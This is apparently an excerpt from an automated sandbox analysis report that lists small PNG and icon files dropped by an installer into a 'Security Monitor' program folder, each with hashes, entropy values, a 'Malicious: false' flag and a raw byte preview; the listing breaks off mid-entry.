Preview:	.PNG........IHDR................a....IDATx.SMHTa.=w.....!...6-"B..MRB.Q.\.."..U..U.....F:3..X.M..G.t!..KI.T...w;..~.1......~..'...W..K..."n.W.q.....1........tB.G..........\.VE..E...q''.B/.D...\..j.#'~...T-G.c...(..&.DZ.N.+GT.o...~.s..(..g..K..."...t..60..X...fv....~.F.).....H...nv..)...y.`~U......4.....0.]5..l..+..eT7.C....$..u:A...d.....`..%..../.......dh-..?..&.....(....O.)u......$..a.^..A..."Dwk_1...U ...,.i..A.T....3D..._.Z...l$1..p.....A+_l..`.=R..d6.T...K..OSL..f..nu_...g...S.3.L....r........g.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-70H11.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	586
Entropy (8bit):	7.630848437869861
Encrypted:	false
SSDEEP:	12:6v/7czkgzR/pOsg/sx7MiqeJACAHDTOipuwsOmA8PJO/Y7:xQgzRBX6e7nmC+puF9U/Y7
MD5:	FA83ECDD6AFBEFE0DD30A620574872DE
SHA1:	8B3299A9244809F9541BFFB7A1CCD8D58AB53EB0
SHA-256:	9AEA100DC1DCFA58A542BD9294F67B454CFD8669CC199F6C43ECD9A4C3E99E1D
SHA-512:	202937104E00E187A4CCB1D3D2352F19E1966E71DF015D1E5E529B3C148D4A91FCFF18C0D0A08CB23660962BEC06417D1EABD47D0F48A07A5DB22DFC4EB6048D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.RAk.`.~c;.U..x..._P0..).t./....":$.......2iuu......O...VH.A>..^..S.....l...H...........}... ....II.E..".$ID....`_X.5.e..q.....q..@RK.U..=..MUT^..!..!hC..X.^....v..RG..j..).&.q.0.oM....Ah..w.....PJgj.....U...^..?.a`......3_..]..)..{9.......P\).z...t.-......pB..Z.QZ).........>...O..C.....%.....O.>q.4....kS...{..... ..Ks.....v.N.....H.<.kb.;....U0f.G..J.._.......?.......q?..-...U....[3v....&.D.Q5.G...IY..7?o...C..,..%*.e.=..~.g.......D.X.Q..]........`+..W.J.^..y.Wm.._..,5....1.sXU.o..<._.....J..Wa.g7....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-7LBHV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-840CA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.042561065627236
Encrypted:	false
SSDEEP:	12:Fw3//////oXgAo////////go/P/wK/////YTQRY9K///pLKe//v7WVh5y//ze2JW:7BQC9BDRClcc3TIVBw0CC/6upx8y/V
MD5:	58BB5428EE336A048C0EAEDD11B08CBE
SHA1:	E40B41DCE19B4CEE84943905ACC31F0B624A22DC
SHA-256:	619AB6CC1EB6D48676BA555BFEC94798B8E043052967FAD42356E9D8BFCD08D9
SHA-512:	1424FE21796F05B1BB963F857BE61BD805775BC5F56B1A5ADBA8372057AEAFE01ED559EE9F29212BB74D9A1BF90F4F44DCC27AE09D1A02A674094BF8D7FA2045
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................................................................................................../............../......................................................./.............._.............................................._................/...........................................................................................O...........`...P...........o...........................0...... .........O...................0...................."...a..............p......................................................................./....+..1...q..............X..1..1..1..1..(............(...H...H.............H...H..........j...H................Z...`...`...j...........................s...M................p...w...w...w.........................`......`.............P...............\|.........s...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-8AG25.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.8378245167837792
Encrypted:	false
SSDEEP:	6:ttl7t4rfiKKc1XgZUZUZUZUZUZUJXm5ZUZUZUZUZUZUZUZUzC25ZUZUZUyUZUZUg:vlJcP+mpC2KC2KC2KC2KC2Kno9gH9Pcn
MD5:	9647EA4E877FE5A0A08E611D46767EBD
SHA1:	B64CB43619FF5F96F26C0FEFD03CB96373E1E0D9
SHA-256:	DB32B69F2877535C81DFD48ACCA5251BCEED320C1E8A03135F8C80C11D6F248A
SHA-512:	ED6CDB303CBEF7378C1EE1EBF22F9EACF59D354F3157766E486F2A8CEB5E30F11B11F0D289B254F83197F07208C7DF3A14E9EBA3680E38D6CCE6D4AD791F3DCE
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..............................................{ .{..{..{..{..{..{ .................................{ .{..{..{..{..{..{..{..{ ............................i:7.i:7.i:7.i:7.i:7.i:7.._Y..{..zr..YP..YP......SK.SK..SK..SK..SK..SK..SK..SK..SK..QJ.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..{..YP..YP..YP..SK..SK..SK..SK..SK......SK..SK..SK..SK.i:7..{..x..YP..YP..YP.SK..SK..SK......................SK..SK.i:7..{..................SK..SK..SK..SK..SK..SK..SK..SK..SK..SK.q?;..{..YP..YP..YP..YP..SK.SK..SK..SK..SK..SK..SK..SK..SK..VN..{..{..YP..YP..YP..YP..........................{..{..{..{..{..{..^U..YP..YP..YP..........................{..{..{..{..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-8V93S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-9BK7G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.106456125169888
Encrypted:	false
SSDEEP:	24:nEPSZPkAOaXJtA62XWFFFFpkne+FqQ/9tTb:nEiVrJth2mFFFF2B/zTb
MD5:	BBE192389A8CA57807477962B401ACF4
SHA1:	C83E12B14231768D76436CCF919B52D7017801AF
SHA-256:	D546F20D90D384C9A3AF269B16D2C3B06E0500B43668DECA44E7BD50AA525037
SHA-512:	53B9B4EB7E2B1D598AD360B376090AF6A7EC7A4E83D44932E08E8A9D1545BA3BBA9AC7B29B0E2A52F2F02524D79D8A0070FA77D24D2398BD377A975B85B92B74
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ...............................=...=...=:..=v..<...<...<...<...<...<...<v..=:..=...=.......?...?...>...>...>...>...>...>...>...>...>...>...>...>...?...>...A...@...?...?...?...?...?...?...?...?...?...?...?...?...@...A...B:..A...A...A...A...A...A...A...A...A...A...A...A...A...A...B:..Cu..C...C...B...A...A...A...A...A...A...C...A...A...C...C...Cu..E...E...D...S.......................L...g...s...D...E...E...G...G...D..........................................E...G...G...H...H...G.........................................G...H...H...J...J...I.........................................I...J...J...L...L...K.........................................K...L...L...N...N...L...}..................v...L...p...{...M...N...N...Ou..O...O...N...N...N...N...N...M...N...O...N...N...O...O...Ou..Q:..Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q...Q:..Q...S...S...S...S...S...S...S...S...S...S...S...S...S...S...Q...T...T...T...U...U...U...U...U...U...U...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-BEL00.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.995757173580584
Encrypted:	false
SSDEEP:	24:kV8FtQm5AZDsVYmrJcEa7RjyWtYmmatOjk:k6FtQXwY2CEalWyYbatOjk
MD5:	D7F9CD5B7E1275B24EB50769BBBE3021
SHA1:	0B213D27ABDB5016B1805C2FCE5238196F48718C
SHA-256:	414BDEC0A45A95F08390272EDFFF615879E3D0116FFA38AE341770327C8A69ED
SHA-512:	8688C65B158C7F26424C9AF3E59382D7C59155D14377965B14277BE36D49012610D7ADC719E0CC6FFC3946B9D08174FC048E121FDB13104B7BD68365F15130DC
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................................................................................................................................................................................................................................................................................................................................................................................................41..2/..................................................\|\|...#...'...'... ..tr......................................ig.."(...+...+......)...$..XW..............................RO....%...#-.. ,...,...+...+...%..87......................C@..63..01..-0..0..&...#-..$-...,.. -...&..#"..............=:..<8..96..74..52..22...1...1..)/..&...#-.."-...(...!..~{..C@..;8..?;..>:..?;..96..:6..74..42..01..21..-0..)/..%..."+...!..=:.=:..=:..<9..;8..85..64..41..3/../,..,)..)&..&%.."$...#..."............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-C5HQU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	830
Entropy (8bit):	7.743747035981289
Encrypted:	false
SSDEEP:	12:6v/7MppO0bioeoVRws0LZivpCt1BIwB2QG9Qs1Vzaok9cz7A1oLVDiDkaBx9q8rS:hg0OX6wVduQywAQG9vSkEQiDY5aA7
MD5:	EB5BFEE784207B0EED0CB53FB3CF7509
SHA1:	519EEA88024FE4ABBA292A5097D879D42EEFC813
SHA-256:	450B1779BBDB391E340B1A142C0F2AB89836F6E7BDEAA864F9D660059129F13E
SHA-512:	0404FF8FFCDB1F8A1935837883102FF113EC3E18E550544F7B33D8554D8DFE4EEAF3590A88E9C62A02AFCCDA0946E17BDF2700FD85CF84E912CDDDF09CB883E9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.u.iHTQ......q2...f"K3...2.6[....5d......J..PadHE.m..mS9QD.E..Q.eaD..c.Fn.::.{...YM....{~...._.?..".Yqo...i&9,..W.ie..2....,x=.J.mR....sV...=w.\.....5.0'r...p...A.<.u.....j..~:...u..w...~Sf..Xc..a9../..<.1.....ks....9.7..Uf.D0....H......B...IR6.\$s..%.2.\|:.)!..[..0.....o......f.6....'Ud.(..x.#.c...v8..'......]....0.".T.Zn.>..}_......@...QP{.B....G..";&...&v}<.bj.....6a.m.f<.E......[....b.1./.....H.M9..Z........%q......bs......\|..%.z.wcp.Y.$.I......oJ.m......[s.'[...:..N[....\|.r...$.b......L7.B..M.n...jx.q!.2.!...I.^.!...6..>*.9.=..~Y.....L.dd..F~.8Pw..J-.mY.(~.c......7..W.f'.n.q1.D}..J...1....Re..t.,........A.g.Gy..x...\|.+c..+.2......f.....{.ui=.....@U...;...U.........Jz....o"...e...J.x.im..{...!.......O@s.O....0X.7f'K.g8......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CALJE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
SHA-256:	30DBAE48834681F6F8E6A6867B5A83582DFBCA8E61C51C8A189687055F1A9042
SHA-512:	5A0C295DC41860B4F650D82B43EFBB4F7369A7DCC6844F8837DA8708F531A4D4C17749152536219492ABAA5667FFC63C0547AB2BD257068CF9BCDD9C47492595
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..?K.P...3..?C.qi.T.E...,Up..kgg...b.......A.....8..."h...DDA.1...XJmKz..<...wo.... ....M..V.....o.2Q..e.#<`....E..l.....Y......m#..4...Fb2..D..Q7).K...b.i.....y...9`..^._Gv...a..T.j......1..D[.[...!}`.%....5........k...Y.....!z.u....\2!2....1 .H-.P\I)!......2B.!.[......`+....].F.1....F.I...(/..>}?.....v....w.C6C.H...E..w.v.S.q....?I...a......l<#~.....U....U.^.Q.( ~.G.thG/.....,R.).U.K?9.u........g...L_..wt../.....2.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-CD668.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	786
Entropy (8bit):	7.667079474837334
Encrypted:	false
SSDEEP:	12:6v/7auxjxCwxayWi4r6JPSKu0G1dEnJrZkTAilExOZgaMGQC23gdHtCDswPoLrQJ:Yhgwu6JaPE8aK8GMZPPo3FlEpb6K
MD5:	60B69382DCB4792F0853815F1C3DC793
SHA1:	EF08278795D17F21D3BDE98A44CB5247E18FB6E3
SHA-256:	884887A5D27E4B1F683CF9BA3549797E9F2ACD7763144839CF690C87E38D348A
SHA-512:	115E4BC5A59F02C9F8B72541F256EE683A7FB2DF2F16C560894B83AF2141659553937FAE4FC0246561F7EAFB8E921A1A081F3BEA89825A32BABF96AF00880663
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx.}._H.A......uzu.^d...bV..b.).I.$.P.BP.a)......4..FT.=DXf.Y..f.QV...%!5M.<.\..L....P......33...A.y.z...,"...a....5.f.V....W.3\.vRce..H..c.:F.P2..W..,.v'.....an=zo}....H..J.Tk,`..$.aV$@.`.!.>.c...p..i{........(E..!...u90.b....}t.d....L.j.3..4..>}...re..D.W.:.a.!7.V..}{.:1.b.A.>.x.lr..E.y.......\2..&..:8rw@.Q..E..1.LEL....[....X....9p..tF..S.P...........)+...OCm9...?.`...<+...8.N..F...[ ......='..p.9...P........Ua@....1.>...>.(+L.M..HC.X)...H.......h.&.j..$......\|..A.r......w...!..C......0..k#..,R...7,9..............^...'A.>L.<..;.p.,......1..%.bb!?{.mt.....>{....E..dD.W..eZ....9)f....3..W..+Q.......p....v7.C...E...h.a..7}....Q..ME..n.+).p.U..7.%......46..'.S.J........h%.......H...!C'j.4}.7.3[\|h.nQ....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-D4IS9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-DRP3L.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	6.511795576297305
Encrypted:	false
SSDEEP:	12:ON6zzzzzKMSSSSSMa5HVyx7UmImSoH2bnDIjPNNJOtDrc53VrVOt/bQt8wQHz/HC:OD5H4lUbJfUIQ4lQ4j+HPKoCP652q
MD5:	9A89DE631D87C981A0AF3C07FD4AF610
SHA1:	6A5EE66ADA6C57C1FB8B142514DEE3272FF21605
SHA-256:	5E9C12BB009E1DB9568B273B53EBCA3500C3E6D113961729ADF98012FEE299B8
SHA-512:	B3F9BB8803CEAE7E33611BDED0C236C0A14DC6DE730A15910BD80ED15D1CF63BF8A83449E4EB83F593F9FC82C7E4C775AD799A206D3EEC93F8EA99B3746D005F
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .................................\|~..\|..1\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|..2\|~. }.................BI..{..#..."..."..."..."..."..."..."...#... ....AcY[c.Y[c......-...>.. @.. @.. @.. @.. @.. @.. @.. @.. @...?...(..Z]n-Z]n-...-$B..#D..#D.."C..!C.."C..!B.."C.. A..!B..#D..#D...<.._g.M_g.M.../(G..#F.."E..?]..........Ur..<[......]x..$G..#F...A..bl.Obl.O.../(I.."G..,O..............................2T.."G...C..bm.Obm.O.../(K.. H..Qn..........Kh..............<^..#J..#J...E..bn.Obn.O.../(M...I..g.......k....G..$L..........3Z.."K..#L...G..bn.Obn.O.../'P...L..`~......g....L...L..........Qv...M.."O...J..bo.Obo.O.../'R.. P..Bh..........!Q...N..^}......Z}...O.."Q...L..bp.Obp.O.../'T.."T..%T..........r...*[..-[..Ot..h...9g..!S...N..bq.Obq.O.../'V.."V.. U..@i..........................6f..!U...P..bq.Obq.O...-'Y.."Y.."Y.. W..=h..................\...!X.."Y...S..br.Lbr.L...."P..!].."\.."\.. [..!Y..-a..3e..(_.. Z.."\.."]...M..^g~(^g~(....+N.B,_..)^..)^..)^..)_..(^..(^..)^..)^

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-ECGMB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	946
Entropy (8bit):	7.732040020903732
Encrypted:	false
SSDEEP:	12:6v/7Md+AhCq2Ci1b9Hm4UEtkvfdjXxYoCa0jn5/Pt1hC5VbxePpNS/XnxQmHm3EZ:hwRUEtWzxvC1RPpC5Vd4NS/Xnxjnn
MD5:	2F8627CE7D0210CE8A83A237AC9E7FFB
SHA1:	1F7C014538E93EDF5EAB0721AB007C946EDE8130
SHA-256:	CD701C56968BF7138417063032D62ADAFC272C8C6FC98D527AEA342359DA0F7D
SHA-512:	CCDA7916E676BA730D0FE9F803E9CFFF37BEED65B9DA776DA6113B33A75ED351E699D9923B68D37AD83BA04A123815A160E53F24840DF73580802AA510BFF81F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...yIDATx.mSmlSU.~.mo..s...].I[....2..]c..($K.D...1.jP....2...HH4.D...3!.c..c...l...M...]........u?..{sN.7'O....!......N.d'mP.4.kf#.L...N..J......H.,...F..$ ..._. .".B.B.dO.....?.7.?...]Q`...f.-. ).22..,.,W.x..f.X....l>z....{...I..`<b.....4,U5..[.U.KSq,f.H&.{g....2...#.Pt)....aJ.g...[?...{@<.<L.....m...3n..oG..d.\_{.h..=...>L...NC.v..#.h...cu..........%l{...a(c.H./..h}.h.v_13U..5...b....I....W.e.Y.?.-...h....-..M..y8....'.._b..#E/.Q...'<.8.n. I.O$...^.C..8.Z3n...XM....................V3..c..6.@V..P`...=LNL.6.....(l...)A...-S...c."...\|...N....;}J. ...Q...2h.....tt...R....~z.I(.._.L....z?Z.jd...$I.@D!..-....G..0iA))Y..k.r.n.H.S!...m..:j.p:..-[... ......_........).UL#7...?9.l$..Q.V.6.".N.^...k,6.1.CZ.".....!....";.....e..e.]..VV..^Rb...&c.UW...f-m1.tn..2.....`....Y........B.f.e.......`.k*.z..".......W q.U."dZJW.3o.'.u...?..O........m V.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-FKN0E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.7525569355376955
Encrypted:	false
SSDEEP:	12:6v/7MyC90RfzncoB9d+Jfty3DKiuhnS1nWXpvQTMmy5ZKr+NLQymmFT040q11aZ2:eJ6iDKNdanodwMmyvKr2+40q1UFWVt
MD5:	D060EB33F8B5DFA18682625CE21C1F46
SHA1:	DEC3B1DE06D2D855408C16D93365711088BBE705
SHA-256:	F6C2720D108D96B429E82883EE44CE7EEC31F4194DA99391DC023D6797FA0886
SHA-512:	BBBCDC3E03214E686DCB05094ADE3A9FFB510CB5BF4DAF28B607BC50349C1B675074AE7EF4DB99E86A00C661B31473D858353EB3DB8734639E8FF00B71AAEC6A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...?IDATx.m.[l.U..33...N.e..m..n.mS....$...Z.. .....K..>..D..`h.D....@..... .4B...,...-.,.......t5....s......;./.huC..]./.d.M.0.3t0....u'.../..o...n-.U.~<..OS.`.-.n..a0..9<..._@U......m..\|....W..y.....g...;. J.e.C..s...5............./....i.".....6I..o...TF..#....=r`N.[.....>R.S..p.(...%.B.%....W{..-@....cr\|....D~.CF..3...q5W...*....k....&..58..40I.+V.."....A.f...e 9^.l....6:.Q....Z..i9..;..6..-.....aX<..1Kqc:w.L.\|\|.d K..V.....o8.6......qA...............;#.h........_I}..S..H.........$....`.A_R.\...r.D9.....fz\|%g....,...N.......n^...v...v;8..(Y.[..P......P0...AB".Rf..vl.On..C.u.(.C..I....h9....\..t..c.c...Xr~...}..^z...(..m....[L)..g.8]......2....v.7.......R..;...^..B........F....k...%.o2.. .^=Q.!.......b..%....P.T.U<v....(..A..w...........M1M7.SS..6fS.mB%..7.....M5....A9.:'...Q^..j...Y.s-.\ \|l......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-FOGGC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	604
Entropy (8bit):	7.566535696722621
Encrypted:	false
SSDEEP:	12:6v/71+R52wdTd01ObCNVVeNROSj6OjPXgEFE7LEgcuq/yp61MVKCXXN:bR5RG1iwVsRPj68vgvEgcN/RKVBXN
MD5:	4AC295DB7E483693981CDE5340D6DD06
SHA1:	2940C14BCC2C1C975D7DC484C43618F8028350A3
SHA-256:	5DF1EB6894459E748C599DEA4119DBD85F8EE024A7932ADC49E80AED7BC3CDE2
SHA-512:	05562C55530620A0860B6E636C45F035ACAFFF4F468B3F29491D909C795102377F778951033B93A8C143D87D7F779E03381E415B914EB1E8198EB0E838243E18
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...#IDATx.S.k.Q..f7b.j.m).c+.h.F.(.......?@.....x..^..A/J....TAk......&b]-".....yo...evf.........LP9=...........ZH.!.....1..r.*.....u......8bi..$b...~..m,..&k..47=.U..A...Z......M...9N..4V.._C.....o.. b.nN"..OE....d.].1A...\|.C..}85;...@Bp.t.A..wW.B7......&.Q......D..p..}l...Bm..j..K#E..Y.t.pc.._<G....r_...X.;1..w...f.......b...uK..XF..c\|y..{...../a......<...+....F.......r..<..Je..k.y....08v.kk....\|>.r.,.............J...}..f...M.\|'Z.6.m....;3..B'.Mo........pf3.v.....>....4cL&m.F......&1+.... )....kri.......g...ip;...A.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-I0CN2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.568471936906983
Encrypted:	false
SSDEEP:	24:EsvbDZdGE4mTfyxt6fSgSgd7+WmhOXYvTTT5:jH8mm6KXkSW1OTTT5
MD5:	60EEE3F506D7E7F1A87845F441D2FB09
SHA1:	E3D9A990606A52FB057237EB1F1435605CDDF360
SHA-256:	E4C99A376C5625C022A1CEE0422382E58516350B5602779286131579DDBFD108
SHA-512:	54CE729C0033D0E3C5ABF33D0F67BC5E9032A4374CC274E978F1129AE44276D6AE58B83DCE6CCFE72CA3681B3F3BEB6FDB0928843D6246180AACF50A2BDED936
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... .............................................KKK)...i...........iKKK)................................\\\/..............................\\\/....................\|\|\|J........................................~~~I............\\\/................Z....s..w.......................\\\/........................r..Z...._..~...\..........................QQQ).................r..Z...._..............................QQQ)...i........Z....U...{..Z....g..{..............................i............n...y.......q..........n...g...g...y..............................p...p...x.....................}...............i.........6...6...6...6......p.}........\.}.............hQQQ)..........................g.}.....................QQQ).........................h......h.}.............................^^^..................6......y.}..................eee+...............H.......................................H....................^^^..........................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\is-JBHDC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	4.984582163595734
Encrypted:	false
SSDEEP:	24:ltjzPCZMaBUC2R0pwXqeCvJX/JutpSu39Gl/GofW9y88rk:ltj05gBXqeCJ/8pSx/Gp9y88w
MD5:	4EAA9A0B583BB8C8A369753DBD0DD0EB
